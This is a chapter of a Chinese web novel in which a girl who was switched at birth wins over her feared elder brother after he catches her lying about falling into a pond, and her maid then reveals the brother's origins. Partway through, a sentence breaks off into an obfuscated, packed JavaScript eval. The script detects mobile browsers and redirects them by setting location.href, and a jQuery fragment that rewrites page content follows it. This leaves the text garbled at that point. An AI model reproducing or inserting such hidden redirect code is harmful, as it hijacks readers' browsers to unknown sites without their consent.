3. 说谎

作品:《假千金稳拿黑莲花剧本

    华箴眉心微跳,想起早些时候,他把华奚容从湖中捞起来的画面。


    瘦弱的小姑娘脸色发青,声音弱得像不足月的小猫在叫。


    和外面这道,中气十足的喊声...


    属实不像同一个人。


    “带进来吧。”


    六奇应下出门,将人带了进来。


    还是那个瘦瘦弱弱的小姑娘,怀里抱着厚厚的大氅,险些被自己的裙子绊倒。


    六奇看不下去,替她接过了大氅。


    华奚容扬起笑脸,乖巧地向他道谢:“谢谢哥哥。”


    她的这声“哥哥”,六奇不敢应,抱着大氅迅速消失在院子里。


    “为何想见我?”


    华奚容循声望去,与躺椅上的冷峻少年四目相对。


    华箴此时并未束发,垂在脸侧的长发削弱了他五官的凌厉和冷冽感,但那双黑眸锐利且深邃,仿佛能够洞察一切。


    华奚容心口一跳,借着行礼姿势垂下脑袋,“来谢谢大哥哥的救命之恩。”


    “不必。”


    华箴揉了揉眉心,“若无其他事,你可以回去了。”


    不像是讨厌见到她的语气。


    华奚容觉得可以再试探一下,于是鼓起勇气问道;“日后我能常来拜访大哥哥吗?”


    总不至于每次来,她都要在门口喊一遍吧。


    半响没有人回应。


    正当她犹豫要不要再问一遍时,华箴开口了:“你是如何落水的?”


    “我...”


    华奚容不知道他问这话的目的,只能用同样的话术答道:“我想去采莲蓬,结果不小心掉下去了。”


    “你和李夫人也是这么说的?”


    华奚容点头,“嗯,我知道自己犯了错,自罚抄写十遍女戒。”


    “是吗?”


    华箴语调略微拉长,似乎是若有所思。


    过了好一会儿,他才再次开口:“你回去吧,以后不要再来了。”


    这次语气格外冷淡,像是她说错什么惹他生气了。


    “为什么?”


    华奚容不明所以,扯了下腰间垂下的流苏。


    来之前她特地换了身新衣裳,腰间束着俏皮的彩色宫绦。


    这抹彩色与冷清孤寂的院子显得如此格格不入,却跟随执拗的主人不肯离开。


    穿堂风拂过小姑娘腰间的宫绦,也送来一声质问:


    “那你为何要说谎?”


    这下,轮到华奚容沉默了。


    华箴淡淡收回视线,正准备下逐客令时,突然被小姑娘的一声啜泣打断:


    “大哥哥不是也看到了吗?”


    华奚容揉了揉眼睛,似乎是想把眼泪憋回去,显然并没有成效。


    “冬郎不喜欢我,就算我说实话又有什么用?央求母亲惩罚冬郎吗?”


    华箴微微蹙眉。


    “可冬郎是老祖宗的心肝,若他有事,老祖宗动了怒,又会怪到谁头上?”


    说着说着,她的眼泪扑簌簌落下,像是断了线的珍珠,打湿了半张脸。


    “只能是我…”


    偏偏是她。


    这一刻,华奚容忽然与原身共情了。


    华家所有的苦难,所有的矛盾,最后都只会落到自己一人头上。


    因为只有她身上有洗不清的污点,哪怕这个污点是别人强加在她头上的。


    可这是没有办法的事情。


    谁让犯了错的奶娘已经死了,而她还活着。


    “大哥哥是不是觉得我今日过来,是别有所图?”


    华奚容哽咽了下,正想着该说什么容易让人泛起同情心的话语。


    “不是。”


    华奚容诧异抬头,对上华箴冷淡的眉眼。


    “我以为,你是来找我作证。”


    华奚容心中一震,喃喃开口:“作证什么?”


    “见老祖宗,进祠堂,或者…”


    华箴眉梢轻佻,轻描淡写地吐出两个字:“报官。”


    华奚容彻底愣住了,“那怎么可以…”


    在此刻之前,甚至连她自己都默认这是一件不值得闹大的家事。


    她面前的少年,是这座高门深宅的掌权者,却如此说道:


    “为自己求公道,为何不可?”


    风扬起华箴的发梢,他依旧是那副没什么神色变化的脸,又似乎多了一丝不易察觉的凌冽。


    华奚容心底某处泛起酸涩。


    全文最明事理的人,偏偏死的那么早。


    “大哥哥...”


    华奚容抬起脸,眼泪汪汪地看着他,“我以后能天天来找你吗?”


    似乎是生怕被拒绝,她连忙解释道:“我不会打扰到你的,我就在旁边看书练字。前两日先生让我们写两份新的字帖交上去,我那儿就只有一本字帖,已经写过很多回了。”


    “弟弟妹妹不愿意借我一本用,我也不敢同母亲说...”


    这倒不是她瞎说。


    华奚容今日会去莲池,就是为了向华明烨要字帖,结果被华明烨嫌烦,趁其不备推下了莲池。


    见华箴不语,她瘪了瘪嘴,又掉出几滴眼泪,“大哥哥要是也不愿意看到我,就算了...可能我就是这么讨人嫌吧。”


    华箴不太明白为什么她非要来找自己,“你不怕?”


    明明前些年的家宴上,小姑娘每次见到自己都会躲到远远的。


    不只是她,华家的人都怕他。


    “我不怕。”


    小姑娘的眼眶里还挂着泪珠,语气却很坚定。


    华箴觉得好笑,唇边勾出冷淡的弧度,“我这院子里会见血,会死人,也不怕?”


    不知是不是被他的话吓到,小姑娘单薄的身子打了个颤。


    “起风了,你该回去了。”


    华箴看在眼里,想要结束这个话题。


    “那明天会有人死吗?”


    华箴微怔,以为自己听错了。“什么?”


    “大哥哥要杀的肯定是坏人,我不怕大哥哥,但确实有点怕血。”


    前一刻还哭得梨花带雨的小姑娘,现在又扬起了笑脸,俏生生的,又有点可怜。


    她揪着宫绦,怯生生地问:“明日...会有吗?”


    华箴藏在袖中的指尖微蜷,半响才答道:“明日上午,我不在。”


    “好!那我下午来!”


    “大哥哥再见!”


    像是怕他反悔,小姑娘提起裙摆一溜烟地往外面跑,扬起的裙摆像是莲池里连成一片的莲叶。


    华箴又在廊下坐了好一会儿,直到感觉到凉意,才起身回了屋子。


    出了青庐居,华奚容脸上那副灿烂明媚的笑容一点点收敛。


    只留下几缕思索的神色。


    原来他讨厌说谎的人。


    “姑娘!”


    一看到华奚容出来,海棠立即迎了上去,“您没事吧?”


    刚才带自家小姐进去的那位侍卫,佩刀比外面的人都大,长得也很凶。


    她还以为世子嫌吵,把华奚容拉进去打骂了一顿。


    华奚容无辜地眨了眨眼,“没事啊。”


    “没事就行,咱们快走吧。”


    海棠都不敢抬头,生怕对上那两个侍卫的视线,“以后还是少来这边,万一惹怒了世子,就不好了!”


    “我明日还要来呢。”


    一听这个,海棠天都要塌了,“明日还来?姑娘您...您怎么了啊?”


    只差问她是不是落水摔到了脑子。


    华奚容淡然答道:“我觉得大哥哥是个好人,我想找他玩。”


    海棠倒吸一口凉气,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326112|167627||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “您不知道世子他...他杀过人?!”


    “他是保家卫国的将军。”


    华奚容不以为然,“不杀敌人,敌人就会杀我们的。”


    “不是这个!”


    海棠左顾右盼,见周围没人,才压低声音说:“听说世子刚出生时身子孱弱,侯爷亲自照顾了好些年才将他慢慢养好。之后还花重金请了神医,陪在世子身边,结果没两年,那位神医就被人发现死在青庐居外的那口枯井旁。”


    她伸手指向青庐居后面的一片竹林,竹林深处有一间破屋子,原先就是神医的居所。


    望着那片竹林,华奚容莫名有种熟悉感。


    没等她细想,海棠又道:“这事儿被侯爷压下来后,世子就再也没出过青庐居,所以大家都猜测是世子杀的。直到侯爷逝世,大夫人才把世子带了出来。”


    大房夫人宋氏?


    原书中宋氏几乎没有出场过,唯一一次,好像是华箴死讯传来的当日,她绞了头发去尼姑庵修行了。


    但华奚容心里有个疑问,“大哥哥孱弱,为什么是侯爷照顾?”


    一般来说,不都是母亲在一旁照顾吗?


    “世子不是大夫人亲生的。”


    海棠语出惊人,“是侯爷养在身边的胡姬所生。”


    “你怎么知道?”


    华奚容睁大了眼睛,没想到这么容易就知道了华箴的身世。


    放在其他话本中,怎么也要等到快大结局时候才知道吧?!


    结果在这里...


    她的抱错身份,是一开始,奶娘就坦白了的。


    而侯府世子的身世,居然连她从外面买来的婢女都知晓。


    “奴婢先前不是被夫人叫去后院打杂过吗?那时有个老嬷嬷同我睡在一起,日子久了,她就和我说了这桩事。”


    海棠脸颊微微泛红,似乎知道背后谈论主人家的事情不好。


    那老嬷嬷先前是侯爷院里的,后来侯爷为胡姬修了青庐居,院子里的奴婢就都被打发走了。


    “侯爷从来没打算瞒着这件事,据说世子刚出生时,他连孩子的面都没见,进宫先禀明皇上了。”


    这些年,南梁与胡人势同水火。


    不怪华家侯爷如此谨慎...


    “可...”


    华奚容还是有点不敢信,“大哥哥长得也不像胡人啊?”


    海棠当初也问了这么一句话。


    那位老嬷嬷只是叹了口气,喃喃一句:“幸好不像。”


    如若侯府世子身上有胡人血脉的事情传出去,恐怕举国上下都不会同意他被封世子,统领北军。


    侯府也就没有今日这般光景了。


    “那胡姬呢?”


    海棠摇了摇头,“不知道,可能是难产去世了吧。”


    华奚容还是觉得哪里不对。


    如果华箴的身份不是秘密,那当初立世子时,就算宋氏没意见,难道祖母也不反对?


    直到回了梧桐阁,华奚容还在琢磨这些事情。


    原书中对大房一家描述很少,少到可以忽略不计。


    原以为是因为没有故事可讲,没想到这背后...比二房一家还要混乱。


    但这并没有改变华奚容的想法,与其去扭转二房对自己的态度,不如去讨好如今掌握华府大权的人。


    只要华箴不死,就能护她在府上无忧。


    如果她没办法改变华箴必死的结局,也可以在他死前多攒点钱,争取早日离府单过!


    至于原身的亲生父母...


    自女主逃离那儿后,话本里就再也没有提到过了。


    华奚容算是一个情感淡漠的人,这么多年过去,他们应该知道女儿抱错了才对,却一直没有消息传来,或许也没打算找回原身。


    她胡乱想着,也就渐渐睡了过去。